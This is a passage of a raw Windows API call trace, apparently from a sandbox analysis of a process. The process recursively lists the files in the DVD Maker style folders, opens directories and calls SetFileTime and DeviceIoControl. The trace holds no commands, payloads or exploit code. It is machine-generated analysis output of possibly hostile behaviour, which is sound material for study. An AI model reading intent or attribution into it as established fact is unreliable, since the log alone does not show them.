nFileSizeHigh=0x0, nFileSizeLow=0x84702, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask_PAL.wmv", cAlternateFileName="")) returned 0 [0067.286] GetLastError () returned 0x12 [0067.286] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0067.286] FindClose (in: hFindFile=0x60d260 | out: hFindFile=0x60d260) returned 1 [0067.286] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.286] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7091adcb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7091adcb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0067.286] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a4b8b3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a4b8b3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0067.286] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x5aaf, dwReserved0=0x0, dwReserved1=0x0, cFileName="bandwidth.png", cAlternateFileName="")) returned 1 [0067.286] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70a25756, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70a25756, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x191f, dwReserved0=0x0, dwReserved1=0x0, cFileName="blackbars80.png", cAlternateFileName="")) returned 1 [0067.286] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x708ceb11, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x708ceb11, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.286] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70810440, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70810440, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.286] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7083659d, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7083659d, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.286] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707c4186, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707c4186, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.286] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7079e029, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7079e029, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.286] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x707ea2e3, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x707ea2e3, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.286] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70940f28, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70940f28, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efc9a7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84ca6, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask.wmv", cAlternateFileName="")) returned 1 [0067.286] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709b333f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x709b333f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f0d440f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84702, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask_PAL.wmv", cAlternateFileName="")) returned 1 [0067.286] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x709b333f, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x709b333f, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f0d440f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x84702, dwReserved0=0x0, dwReserved1=0x0, cFileName="Panel_Mask_PAL.wmv", cAlternateFileName="")) returned 0 [0067.286] GetLastError () returned 0x12 [0067.286] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.286] FindClose (in: hFindFile=0x60d120 | out: hFindFile=0x60d120) returned 1 [0067.287] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfbaf30) returned 1 [0067.287] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0067.287] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e91e8b0, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e91e8b0, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13d0, dwReserved0=0x0, dwReserved1=0x0, cFileName="scene_button_style_default_Thumbnail.bmp", cAlternateFileName="")) returned 1 [0067.287] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8d25f6, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8d25f6, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd86, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_buttongraphic.png", cAlternateFileName="")) returned 1 [0067.287] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8f8753, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8f8753, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xd3e, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_selectionsubpicture.png", cAlternateFileName="")) returned 1 [0067.287] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6e8ac499, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6e8ac499, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="shadowonlyframe_videoinset.png", cAlternateFileName="")) returned 1 [0067.287] FindNextFileW (in: hFindFile=0x60d220, lpFindFileData=0x174ef54 | out: lpFindFileData=0x174ef54*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Shatter", cAlternateFileName="")) returned 1 [0067.287] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0067.287] GetFileAttributesExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter"), fInfoLevelId=0x0, lpFileInformation=0x174ee50 | out: lpFileInformation=0x174ee50*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0)) returned 1 [0067.287] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\shatter"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x2200000, hTemplateFile=0x0) returned 0x148 [0067.288] SetFileTime (hFile=0x148, lpCreationTime=0x0, lpLastAccessTime=0x174ee94, lpLastWriteTime=0x174ee94) returned 0 [0067.288] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x4000) returned 0xfcbb98 [0067.288] DeviceIoControl (in: hDevice=0x148, dwIoControlCode=0x900a8, lpInBuffer=0x0, nInBufferSize=0x0, lpOutBuffer=0xfcbb98, nOutBufferSize=0x4000, lpBytesReturned=0x174eeec, lpOverlapped=0x0 | out: lpOutBuffer=0xfcbb98, lpBytesReturned=0x174eeec, lpOverlapped=0x0) returned 0 [0067.288] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfcbb98) returned 1 [0067.288] NtClose (Handle=0x148) returned 0x0 [0067.288] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8378) returned 1 [0067.288] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8378 [0067.288] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8ae8 [0067.288] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8730 [0067.288] FindFirstFileExW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\Shatter\\*", fInfoLevelId=0x1, lpFindFileData=0x174ec9c, fSearchOp=0x0, lpSearchFilter=0x0, dwAdditionalFlags=0x2 | out: lpFindFileData=0x174ec9c) returned 0x60d120 [0067.328] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x9f4d7984, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa9057bb, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0x9f4fdbf3, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0067.328] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f204eff, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x0, dwReserved1=0x0, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0067.328] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.328] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.328] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.328] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.328] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.328] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfbaf30 [0067.328] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8ae8) returned 1 [0067.328] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfca7c8 [0067.328] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc9288 [0067.328] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.328] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff493d1, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff493d1, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f29d477, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xb04, dwReserved0=0x0, dwReserved1=0x0, cFileName="203x8subpicture.png", cAlternateFileName="")) returned 1 [0067.328] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.328] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.328] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.328] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.328] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.328] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfca7e8 [0067.328] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc9390 [0067.328] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.328] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4f92909f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13e0, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.328] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.329] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.329] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.329] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.329] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.329] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfca808 [0067.329] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc9498 [0067.329] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.329] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffe1945, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffe1945, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc3a, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationLeft_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.329] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.329] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.329] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.329] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.329] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.329] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfca828 [0067.329] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc95a0 [0067.329] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.329] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x70007aa2, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x70007aa2, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4fa59b8f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x13a1, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.329] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.329] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.329] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.329] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.329] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.329] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfca848 [0067.329] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc96a8 [0067.330] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.330] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff9568b, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff9568b, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc2e, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationRight_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.330] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.330] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.330] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.330] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.330] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.330] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfca868 [0067.330] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc97b0 [0067.330] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.330] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff6f52e, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff6f52e, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x135b, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_ButtonGraphic.png", cAlternateFileName="")) returned 1 [0067.330] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.330] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.330] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.330] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.330] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.330] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfca888 [0067.330] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc98b8 [0067.330] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.330] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ffbb7e8, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ffbb7e8, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0xc09, dwReserved0=0x0, dwReserved1=0x0, cFileName="NavigationUp_SelectionSubpicture.png", cAlternateFileName="")) returned 1 [0067.330] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.330] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.330] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.331] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.331] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x80) returned 0xfb8840 [0067.331] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x18) returned 0xfca8a8 [0067.331] RtlAllocateHeap (HeapHandle=0xf70000, Flags=0x8, Size=0x100) returned 0xfc99c0 [0067.331] RtlFreeHeap (HeapHandle=0xf70000, Flags=0x0, BaseAddress=0xfb8840) returned 1 [0067.331] FindNextFileW (in: hFindFile=0x60d120, lpFindFileData=0x174ec9c | out: lpFindFileData=0x174ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6ff23274, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x6ff23274, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4faf2107, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x547b, dwReserved0=0x0, dwReserved1=0x0, cFileName="shatter.png", cAlternateFileName="")) returned 